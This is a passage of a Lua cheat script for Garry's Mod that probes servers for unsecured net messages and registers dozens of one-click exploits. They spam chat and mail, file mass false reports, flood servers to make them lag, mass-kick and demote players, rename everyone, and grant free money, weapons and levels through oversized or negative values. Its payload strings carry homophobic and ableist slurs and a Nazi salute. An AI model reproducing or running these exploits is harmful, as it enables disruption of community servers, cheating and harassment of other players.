2166if (status) then
2167ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2168addExploit( "42","WilloxChat Spam", "spam in chat", function()
2169surface.PlaySound("garrysmod/ui_click.wav")
2170ECNotify("Starting")
2171timer.Create("willoxchatspam", 1, 0, function()
2172net.Start("Chatbox_PlayerChat")
2173net.WriteEntity(LocalPlayer())
2174net.WriteBit(1)
2175net.WriteString("FAGGOTS")
2176net.WriteBit(1)
2177net.SendToServer()
2178end )
2179end )
2180end
2181
2182status = ValidNetString("BuilderXToggleKill")
2183if (status) then
2184ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2185addExploit( "43","BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2186surface.PlaySound("garrysmod/ui_click.wav")
2187ECNotify("Starting")
2188for k, v in pairs(player.GetAll()) do
2189net.Start("BuilderXToggleKill")
2190net.WriteEntity(ply)
2191net.SendToServer()
2192end
2193end )
2194end
2195
2196status = ValidNetString("reports.submit")
2197if (status) then
2198ECPrint("Found Exploit: Report All [reports.submit]")
2199addExploit( "44","Report All", "Report all faggots", function()
2200surface.PlaySound("garrysmod/ui_click.wav")
2201ECNotify("Starting")
2202for k,v in pairs(player.GetAll()) do
2203net.Start("reports.submit")
2204net.WriteEntity(v)
2205net.WriteInt(5, 8)
2206net.WriteString("SuckMyDick")
2207net.SendToServer()
2208end
2209end )
2210end
2211
2212status = ValidNetString("services_accept")
2213if (status) then
2214ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2215addExploit( "45","Infernus Service Accept", "spam to all players", function()
2216surface.PlaySound("garrysmod/ui_click.wav")
2217ECNotify("Starting")
2218timer.Create("serviceaccept", 0, 0, function()
2219for k,v in pairs(player.GetAll()) do
2220net.Start("services_accept")
2221net.WriteString("Nice security, retards xd")
2222net.WriteVector(Vector(v:GetPos()))
2223net.WriteString("test image")
2224net.WriteEntity(v)
2225net.SendToServer()
2226end
2227end )
2228timer.Simple(4, function()
2229timer.Destroy("serviceaccept")
2230end )
2231end )
2232end
2233
2234status = ValidNetString("lockpick_sound")
2235if (status) then
2236ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2237addExploit( "46","LockPick Sound Spam", "", function()
2238surface.PlaySound("garrysmod/ui_click.wav")
2239ECNotify("Starting")
2240timer.Create( "spamlockpicksound", 3, 0, function()
2241for k, v in pairs( player.GetAll() ) do
2242net.Start("lockpick_sound")
2243net.WriteEntity(v)
2244net.SendToServer()
2245end
2246end )
2247timer.Simple(4, function()
2248timer.Destroy("spamlockpicksound")
2249end )
2250end )
2251end
2252
2253status = ValidNetString("customprinter_get")
2254if (status) then
2255ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2256addExploit( "47","Realistic Printers Steal Money", "stealing money from printers", function()
2257surface.PlaySound("garrysmod/ui_click.wav")
2258ECNotify("Starting")
2259for k, v in pairs(ents.GetAll()) do
2260if v:GetClass():find("print") then
2261net.Start("customprinter_get")
2262net.WriteEntity(v)
2263net.WriteString("g_money")
2264net.SendToServer()
2265end
2266end
2267end )
2268end
2269
2270status = ValidNetString("InformPlayer")
2271if (status) then
2272ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2273addExploit( "48","SimpleGrab Inform", "Spam all players in the console", function()
2274surface.PlaySound("garrysmod/ui_click.wav")
2275ECNotify("Starting")
2276for k,v in pairs(player.GetAll()) do
2277for i = 0, 100 do
2278net.Start("InformPlayer")
2279net.WriteEntity(v)
2280net.SendToServer()
2281end
2282end
2283end )
2284end
2285
2286status = ValidNetString("pogcp_report_submitReport")
2287if (status) then
2288ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2289addExploit( "49","Report All #2", "Report all faggots", function()
2290surface.PlaySound("garrysmod/ui_click.wav")
2291ECNotify("Starting")
2292for i = 0, 100 do
2293for k,v in pairs(player.GetAll()) do
2294net.Start("pogcp_report_submitReport")
2295net.WriteString("lol")
2296net.WriteString("nice security retards")
2297net.WriteEntity(v)
2298net.SendToServer()
2299end
2300end
2301end )
2302end
2303
2304status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2305if (status) then
2306ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2307addExploit( "50","Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2308surface.PlaySound("garrysmod/ui_click.wav")
2309ECNotify("Starting")
2310net.Start("1942_Fuhrer_SubmitCandidacy")
2311net.WriteString(LocalPlayer():Nick())
2312net.SendToServer()
2313end )
2314end
2315
2316status = ValidNetString("FacCreate")
2317if (status) then
2318ECPrint("Found Exploit: Fac Create [FacCreate]")
2319addExploit( "51","Fac Create", "old exploit", function()
2320surface.PlaySound("garrysmod/ui_click.wav")
2321ECNotify("Starting")
2322timer.Create("fucklol", 1, 0, function()
2323net.Start("FacCreate")
2324net.WriteString("LOL " .. random_string(5))
2325net.WriteString("LOL " .. random_string(10))
2326net.WriteColor(random_color())
2327net.WriteBool(false)
2328net.WriteString(random_string(5))
2329net.SendToServer()
2330end )
2331end )
2332end
2333
2334status = ValidNetString("FactionInviteConsole")
2335if (status) then
2336ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2337addExploit( "52","Faction Invite", "", function()
2338surface.PlaySound("garrysmod/ui_click.wav")
2339ECNotify("Starting")
2340timer.Create("lovedarkexploitsxd", 1, 0, function()
2341for k, v in pairs(player.GetAll()) do
2342net.Start("FactionInviteConsole")
2343net.WriteEntity( ply )
2344net.WriteEntity(table.Random(player.GetAll()))
2345net.SendToServer()
2346end
2347end )
2348end )
2349end
2350
2351status = ValidNetString("WithdrewBMoney")
2352if (status) then
2353ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2354addExploit( "53","Free Money #2", "an exploit in the addon 'business'", function()
2355surface.PlaySound("garrysmod/ui_click.wav")
2356ECNotify("Starting")
2357net.Start("WithdrewBMoney")
2358net.WriteInt(50000,32)
2359net.SendToServer()
2360end )
2361end
2362
2363status = ValidNetString("deathrag_takeitem")
2364if (status) then
2365ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2366addExploit( "54","Easy Items", "collects money, weapons", function()
2367surface.PlaySound("garrysmod/ui_click.wav")
2368ECNotify("Starting")
2369count = 0
2370for k, v in pairs( ents.GetAll() ) do
2371if v:GetClass() == "prop_ragdoll" then
2372count = count + 1
2373end
2374end
2375if count == 0 then
2376ECPrint("No items found")
2377else
2378ECPrint("Amount of items "..count)
2379end
2380for k, v in pairs( ents.GetAll() ) do
2381if v:GetClass() == "prop_ragdoll" then
2382for i=1,10 do
2383net.Start("deathrag_takeitem")
2384net.WriteEntity( v )
2385net.WriteInt(i,16)
2386net.SendToServer()
2387end
2388end
2389end
2390end )
2391end
2392
2393status = ValidNetString("REPPurchase")
2394if (status) then
2395ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2396addExploit( "55","Heal and Armor", "armor and hp", function()
2397surface.PlaySound("garrysmod/ui_click.wav")
2398ECNotify("Starting")
2399if LocalPlayer():Health() < 99 then
2400net.Start("REPPurchase")
2401net.WriteString("HEALTH")
2402net.SendToServer()
2403end
2404if LocalPlayer():Armor() < 99 then
2405net.Start("REPPurchase")
2406net.WriteString("ARMOR")
2407net.SendToServer()
2408end
2409end )
2410end
2411
2412status = ValidNetString("BTTTStartVotekick")
2413if (status) then
2414ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2415addExploit( "56","Votekick #2", "kick all noobs", function()
2416surface.PlaySound("garrysmod/ui_click.wav")
2417ECNotify("Starting")
2418for k,v in pairs(player.GetAll()) do
2419if v != LocalPlayer() then
2420net.Start("BTTTStartVotekick")
2421net.Start("_nonDBVMVote")
2422net.WriteEntity(v)
2423net.WriteString("")
2424net.WriteString("1")
2425net.SendToServer()
2426end
2427end
2428end )
2429end
2430
2431status = ValidNetString("Resupply")
2432if (status) then
2433ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2434addExploit( "57","Respawn Equipment", "", function()
2435surface.PlaySound("garrysmod/ui_click.wav")
2436ECNotify("Starting")
2437net.Start("Resupply")
2438net.SendToServer()
2439end )
2440end
2441
2442status = ValidNetString("DarkRP_Defib_ForceSpawn")
2443if (status) then
2444ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2445addExploit( "58","Respawn #2", "just respawn", function()
2446surface.PlaySound("garrysmod/ui_click.wav")
2447ECNotify("Respawn")
2448net.Start("DarkRP_Defib_ForceSpawn")
2449net.SendToServer()
2450end )
2451end
2452
2453status = ValidNetString("FiremanLeave")
2454if (status) then
2455ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2456addExploit( "59","Fireman Leave", "", function()
2457surface.PlaySound("garrysmod/ui_click.wav")
2458ECNotify("Starting")
2459net.Start("FiremanLeave")
2460net.SendToServer()
2461end )
2462end
2463
2464status = ValidNetString("PoliceJoin")
2465if (status) then
2466ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2467addExploit( "60","Join the Police 1", "joining the police", function()
2468surface.PlaySound("garrysmod/ui_click.wav")
2469ECNotify("Starting")
2470net.Start("PoliceJoin")
2471net.SendToServer()
2472end )
2473end
2474
2475status = ValidNetString("CreateEntity")
2476if (status) then
2477ECPrint("Found Exploit: Create Entity [CreateEntity]")
2478addExploit( "61","Create Entity", "", function()
2479surface.PlaySound("garrysmod/ui_click.wav")
2480ECNotify("Starting")
2481for k,v in pairs(player.GetAll()) do
2482net.Start("CreateEntity")
2483net.WriteString("sent_arc_atm")
2484net.WriteFloat(100000000000000000000000000000000000000000000000000)
2485net.WriteEntity(v)
2486net.SendToServer()
2487end
2488end )
2489end
2490
2491status = ValidNetString("CREATE_REPORT")
2492if (status) then
2493ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2494addExploit( "62","CREATE REPORT", "", function()
2495surface.PlaySound("garrysmod/ui_click.wav")
2496ECNotify("Starting")
2497local tab = {
2498 REPORTER = v:Nick(),
2499 REPORTERID = v:SteamID(),
2500 FAGGOT = v:Nick(),
2501 FAGGOTID = v:SteamID(),
2502 INFO = "Say hi to youtube",
2503 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2504 }
2505for k,v in pairs(player.GetAll()) do
2506net.Start("CREATE_REPORT")
2507net.WriteTable(tab)
2508net.SendToServer()
2509end
2510end )
2511end
2512
2513status = ValidNetString("Hopping_Test")
2514if (status) then
2515ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2516addExploit( "62","Hopping Test", "", function()
2517surface.PlaySound("garrysmod/ui_click.wav")
2518ECNotify("Starting")
2519for k,v in pairs(player.GetAll()) do
2520net.Start("Hopping_Test")
2521net.WriteEntity(v)
2522net.WriteString("69.696.696969.69")
2523net.SendToServer()
2524end
2525end )
2526end
2527
2528status = ValidNetString("CpForm_Answers")
2529if (status) then
2530ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2531addExploit( "63","Join the Police 2", "joining the police #2", function()
2532surface.PlaySound("garrysmod/ui_click.wav")
2533ECNotify("Starting")
2534net.Start("CpForm_Answers")
2535net.WriteEntity(LocalPlayer())
2536net.WriteTable({})
2537net.SendToServer()
2538end )
2539end
2540
2541status = ValidNetString("VehicleUnderglow")
2542if (status) then
2543ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2544addExploit( "64","Vehicle Underglow", "", function()
2545surface.PlaySound("garrysmod/ui_click.wav")
2546ECNotify("Starting")
2547net.Start("VehicleUnderglow")
2548net.SendToServer()
2549end )
2550end
2551
2552status = ValidNetString("OpenGates")
2553if (status) then
2554ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2555addExploit( "65","Open Door #2", "Force open the door you are looking at", function()
2556surface.PlaySound("garrysmod/ui_click.wav")
2557ECNotify("Starting")
2558net.Start("OpenGates")
2559net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2560net.SendToServer()
2561end )
2562end
2563
2564status = ValidNetString("DemotePlayer")
2565if (status) then
2566ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2567addExploit( "66","Demote All Players", "Demote all players", function()
2568surface.PlaySound("garrysmod/ui_click.wav")
2569ECNotify("Starting")
2570for k, v in pairs(player.GetAll()) do
2571net.Start("DemotePlayer")
2572net.WriteString(v:SteamID())
2573net.SendToServer()
2574end
2575end )
2576end
2577
2578status = ValidNetString("SendMail")
2579if (status) then
2580ECPrint("Found Exploit: Send Mail [SendMail]")
2581addExploit( "67","Send Mail", "sending mail to all players", function()
2582surface.PlaySound("garrysmod/ui_click.wav")
2583ECNotify("Starting")
2584for k,v in pairs(player.GetAll()) do
2585net.Start("SendMail")
2586net.WriteString("haha nice security retards")
2587net.WriteString(v:Nick())
2588net.SendToServer()
2589end
2590end )
2591end
2592
2593status = ValidNetString("REPAdminChangeLVL")
2594if (status) then
2595ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2596addExploit( "68","Admin Change Level", "free lvl", function()
2597surface.PlaySound("garrysmod/ui_click.wav")
2598ECNotify("Starting")
2599for k,v in pairs(player.GetAll()) do
2600net.Start("REPAdminChangeLVL")
2601net.WriteEntity(v)
2602net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2603net.SendToServer()
2604end
2605end )
2606end
2607
2608status = ValidNetString("BuyUpgradesStuff")
2609if (status) then
2610ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2611addExploit( "69","Buy Upgrades", "free upgrades", function()
2612surface.PlaySound("garrysmod/ui_click.wav")
2613ECNotify("Starting")
2614net.Start("BuyUpgradesStuff")
2615net.WriteString("")
2616net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2617net.SendToServer()
2618end )
2619end
2620
2621status = ValidNetString("SquadGiveWeapon")
2622if (status) then
2623ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2624addExploit( "70","Give Weapons", "easy weapon", function()
2625surface.PlaySound("garrysmod/ui_click.wav")
2626inputFrameExists = true
2627inputFrame = vgui.Create( "DFrame" )
2628inputFrame:SetTitle("Choose a weapon!")
2629inputFrame:SetSize( 400, 75 )
2630inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2631inputFrame:SetDraggable(false)
2632inputFrame:ShowCloseButton(true)
2633inputFrame:MakePopup()
2634inputFrame.Paint = function( self, w, h )
2635draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2636end
2637local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2638TextEntry:SetSize( 380, 30 )
2639TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2640TextEntry:SetText( "ls_sniper" )
2641TextEntry.OnEnter = function( self )
2642surface.PlaySound("garrysmod/ui_click.wav")
2643ECNotify("Giving Weapon")
2644net.Start("SquadGiveWeapon")
2645net.WriteString( self:GetValue() )
2646net.WriteEntity(LocalPlayer())
2647net.SendToServer()
2648inputFrame:SetVisible(false)
2649end
2650end )
2651end
2652
2653status = ValidNetString("SetTableTarget")
2654if (status) then
2655ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2656addExploit( "71","Set Table Target", "", function()
2657surface.PlaySound("garrysmod/ui_click.wav")
2658ECNotify("Starting")
2659net.Start("SetTableTarget")
2660net.WriteString("pername")
2661net.WriteString("perjob")
2662net.WriteInt(-10000000000000, 32)
2663net.WriteString("hitmansel")
2664net.WriteString("Anony.")
2665net.WriteString("")
2666net.WriteFloat(0)
2667net.WriteInt(-10000000000000, 32)
2668net.SendToServer()
2669end )
2670end
2671
2672status = ValidNetString("UpdateRPUModelSQL")
2673if (status) then
2674ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2675addExploit( "72","Change character model", "", function()
2676surface.PlaySound("garrysmod/ui_click.wav")
2677ECNotify("Starting")
2678net.Start("UpdateRPUModelSQL")
2679net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2680net.SendToServer()
2681end )
2682end
2683
2684status = ValidNetString("disguise")
2685if (status) then
2686ECPrint("Found Exploit: Disguise [disguise]")
2687addExploit( "73","Disguise", "allows you to disguise as any job", function()
2688surface.PlaySound("garrysmod/ui_click.wav")
2689inputFrameExists = true
2690inputFrame = vgui.Create( "DFrame" )
2691inputFrame:SetTitle("Enter the number of the job")
2692inputFrame:SetSize( 400, 75 )
2693inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2694inputFrame:SetDraggable(false)
2695inputFrame:ShowCloseButton(true)
2696inputFrame:MakePopup()
2697inputFrame.Paint = function( self, w, h )
2698draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2699end
2700local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2701TextEntry:SetSize( 380, 30 )
2702TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2703TextEntry:SetText( "5" )
2704TextEntry.OnEnter = function( self )
2705surface.PlaySound("garrysmod/ui_click.wav")
2706ECNotify("Disguised")
2707net.Start("disguise")
2708net.WriteInt(tonumber(self:GetValue()), 32)
2709net.SendToServer()
2710inputFrame:SetVisible(false)
2711end
2712end )
2713end
2714
2715status = ValidNetString("gportal_rpname_change")
2716if (status) then
2717ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2718addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
2719surface.PlaySound("garrysmod/ui_click.wav")
2720inputFrameExists = true
2721inputFrame = vgui.Create( "DFrame" )
2722inputFrame:SetTitle("Enter your name")
2723inputFrame:SetSize( 400, 75 )
2724inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2725inputFrame:SetDraggable(false)
2726inputFrame:ShowCloseButton(true)
2727inputFrame:MakePopup()
2728inputFrame.Paint = function( self, w, h )
2729draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2730end
2731local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2732TextEntry:SetSize( 380, 30 )
2733TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2734TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
2735TextEntry.OnEnter = function( self )
2736surface.PlaySound("garrysmod/ui_click.wav")
2737ECNotify("Changed")
2738net.Start("gportal_rpname_change")
2739net.WriteString( (self:GetValue()), 32)
2740net.WriteString(" ")
2741net.SendToServer()
2742inputFrame:SetVisible(false)
2743end
2744end )
2745end
2746
2747status = ValidNetString("NewRPNameSQL")
2748if (status) then
2749ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2750addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
2751surface.PlaySound("garrysmod/ui_click.wav")
2752inputFrameExists = true
2753inputFrame = vgui.Create( "DFrame" )
2754inputFrame:SetTitle("Enter your name")
2755inputFrame:SetSize( 400, 75 )
2756inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2757inputFrame:SetDraggable(false)
2758inputFrame:ShowCloseButton(true)
2759inputFrame:MakePopup()
2760inputFrame.Paint = function( self, w, h )
2761draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2762end
2763local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2764TextEntry:SetSize( 380, 30 )
2765TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2766TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
2767TextEntry.OnEnter = function( self )
2768surface.PlaySound("garrysmod/ui_click.wav")
2769ECNotify("Changed")
2770net.Start("NewRPNameSQL")
2771net.WriteString( (self:GetValue()), 32)
2772net.SendToServer()
2773inputFrame:SetVisible(false)
2774end
2775end )
2776end
2777
2778status = ValidNetString("chname")
2779if (status) then
2780ECPrint("Found Exploit: Your RP Name #3 [chname]")
2781addExploit( "76","Your RP Name #3", "discovered by Leith", function()
2782surface.PlaySound("garrysmod/ui_click.wav")
2783inputFrameExists = true
2784inputFrame = vgui.Create( "DFrame" )
2785inputFrame:SetTitle("Enter your name")
2786inputFrame:SetSize( 400, 75 )
2787inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2788inputFrame:SetDraggable(false)
2789inputFrame:ShowCloseButton(true)
2790inputFrame:MakePopup()
2791inputFrame.Paint = function( self, w, h )
2792draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2793end
2794local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2795TextEntry:SetSize( 380, 30 )
2796TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2797TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
2798TextEntry.OnEnter = function( self )
2799surface.PlaySound("garrysmod/ui_click.wav")
2800ECNotify("Changed")
2801net.Start("chname")
2802net.WriteString( (self:GetValue()) )
2803net.WriteString(" ")
2804net.SendToServer()
2805inputFrame:SetVisible(false)
2806end
2807end )
2808end
2809
2810status = ValidNetString("AbilityUse")
2811if (status) then
2812ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2813addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
2814surface.PlaySound("garrysmod/ui_click.wav")
2815for k, v in ipairs(rp.abilities.list) do
2816ECPrint("ID - "..k.." | "..v:GetName())
2817inputFrameExists = true
2818inputFrame = vgui.Create( "DFrame" )
2819inputFrame:SetTitle("Enter the id of the bonus")
2820inputFrame:SetSize( 400, 75 )
2821inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2822inputFrame:SetDraggable(false)
2823inputFrame:ShowCloseButton(true)
2824inputFrame:MakePopup()
2825inputFrame.Paint = function( self, w, h )
2826draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2827end
2828local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2829TextEntry:SetSize( 380, 30 )
2830TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2831TextEntry:SetText( "6" )
2832TextEntry.OnEnter = function( self )
2833surface.PlaySound("garrysmod/ui_click.wav")
2834ECNotify("Received")
2835net.Start("AbilityUse")
2836net.WriteInt(tonumber(self:GetValue()), 32)
2837net.SendToServer()
2838inputFrame:SetVisible(false)
2839end
2840end
2841end )
2842end
2843
2844status = ValidNetString("race_accept")
2845if (status) then
2846ECPrint("Found Exploit: Get Car [race_accept]")
2847addExploit( "78","Get Car", "", function()
2848surface.PlaySound("garrysmod/ui_click.wav")
2849inputFrameExists = true
2850inputFrame = vgui.Create( "DFrame" )
2851inputFrame:SetTitle("Enter the id of the car")
2852inputFrame:SetSize( 400, 75 )
2853inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2854inputFrame:SetDraggable(false)
2855inputFrame:ShowCloseButton(true)
2856inputFrame:MakePopup()
2857inputFrame.Paint = function( self, w, h )
2858draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2859end
2860local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2861TextEntry:SetSize( 380, 30 )
2862TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2863TextEntry:SetText( "1" )
2864TextEntry.OnEnter = function( self )
2865surface.PlaySound("garrysmod/ui_click.wav")
2866ECNotify("Starting")
2867net.Start("race_accept")
2868net.WriteInt(tonumber(self:GetValue()), 32)
2869net.SendToServer()
2870end
2871end )
2872end
2873
2874status = ValidNetString("NLR_SPAWN")
2875if (status) then
2876ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2877addExploit( "79","Respawn #3", "instant revival", function()
2878surface.PlaySound("garrysmod/ui_click.wav")
2879ECNotify("Starting")
2880net.Start("NLR_SPAWN")
2881net.WriteEntity(LocalPlayer())
2882net.SendToServer()
2883end )
2884end
2885
2886status = ValidNetString("Kun_ZiptieStruggle")
2887if (status) then
2888ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2889addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
2890surface.PlaySound("garrysmod/ui_click.wav")
2891ECNotify("Starting")
2892for i=0,30 do
2893net.Start("Kun_ZiptieStruggle")
2894net.SendToServer()
2895end
2896end )
2897end
2898
2899status = ValidNetString("JB_Votekick")
2900if (status) then
2901ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2902addExploit( "81","Abuses Jailbreak Votekick", "kick all players", function()
2903surface.PlaySound("garrysmod/ui_click.wav")
2904ECNotify("Starting")
2905for k,v in pairs(player.GetAll()) do
2906net.Start("JB_Votekick")
2907net.WriteEntity(v)
2908net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2909net.SendToServer()
2910end
2911end )
2912end
2913
2914status = ValidNetString("Letthisdudeout")
2915if (status) then
2916ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2917addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2918surface.PlaySound("garrysmod/ui_click.wav")
2919ECNotify("Starting")
2920net.Start("Letthisdudeout")
2921net.WriteEntity(LocalPlayer())
2922net.SendToServer()
2923end )
2924end
2925
2926status = ValidNetString("opr_withdraw")
2927if (status) then
2928ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2929addExploit( "83","Lagger #14", "discovered by Leith", function()
2930surface.PlaySound("garrysmod/ui_click.wav")
2931ECNotify("Starting")
2932timer.Create("lagger14", 0,0, function()
2933for i = 1, 1000 do
2934net.Start("opr_withdraw",true)
2935net.WriteEntity(LocalPlayer())
2936net.SendToServer()
2937end
2938end )
2939end )
2940end
2941
2942status = ValidNetString("NC_GetNameChange")
2943if (status) then
2944ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
2945addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
2946surface.PlaySound("garrysmod/ui_click.wav")
2947inputFrameExists = true
2948inputFrame = vgui.Create( "DFrame" )
2949inputFrame:SetTitle("Enter the name")
2950inputFrame:SetSize( 400, 75 )
2951inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2952inputFrame:SetDraggable(false)
2953inputFrame:ShowCloseButton(true)
2954inputFrame:MakePopup()
2955inputFrame.Paint = function( self, w, h )
2956draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2957end
2958local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2959TextEntry:SetSize( 380, 30 )
2960TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2961TextEntry:SetText( "AHAHAHAHAH" )
2962TextEntry.OnEnter = function( self )
2963surface.PlaySound("garrysmod/ui_click.wav")
2964ECNotify("Starting")
2965for k, v in pairs( player.GetAll() ) do
2966net.Start("NC_GetNameChange")
2967net.WriteEntity(v)
2968net.WriteString( (self:GetValue()) )
2969net.WriteString( (self:GetValue()) )
2970net.SendToServer()
2971end
2972end
2973end )
2974end
2975
2976status = ValidNetString("revival_revive_accept")
2977if (status) then
2978ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
2979addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
2980surface.PlaySound("garrysmod/ui_click.wav")
2981if !timer.Exists( "exploit_revive" ) then
2982ECNotify( "Enabled" )
2983timer.Create( "exploit_revive", 0.5, 0, function()
2984if !LocalPlayer():Alive() then
2985net.Start("revival_revive_accept")
2986net.SendToServer()
2987end
2988end )
2989else
2990timer.Remove( "exploit_revive" )
2991ECNotify( "Disabled" )
2992end
2993end )
2994end
2995
2996status = ValidNetString("join_disconnect")
2997if (status) then
2998ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
2999addExploit( "86","Lagger #15", "b1g lags my duder", function()
3000surface.PlaySound("garrysmod/ui_click.wav")
3001ECNotify("Starting")
3002if not timer.Exists("lagger15") then
3003timer.Create("lagger15", 0.5, 0, function()
3004for i = 1, 3000 do
3005net.Start("join_disconnect",true)
3006net.WriteEntity(table.Random(player.GetAll()))
3007net.SendToServer()
3008end
3009end)
3010else
3011timer.Remove("lagger15")
3012ECNotify("Stopping")
3013end
3014end )
3015end
3016
3017status = ValidNetString("BuyFirstTovar")
3018if (status) then
3019ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3020addExploit( "87","Free Physgun", "get physgun", function()
3021surface.PlaySound("garrysmod/ui_click.wav")
3022ECNotify("Take physgun")
3023net.Start("BuyFirstTovar")
3024net.WriteString("0")
3025net.SendToServer()
3026end )
3027end
3028
3029status = ValidNetString("BuySecondTovar")
3030if (status) then
3031ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3032addExploit( "88","Free Gravitygun", "get gravitygun", function()
3033surface.PlaySound("garrysmod/ui_click.wav")
3034ECNotify("Take gravitygun")
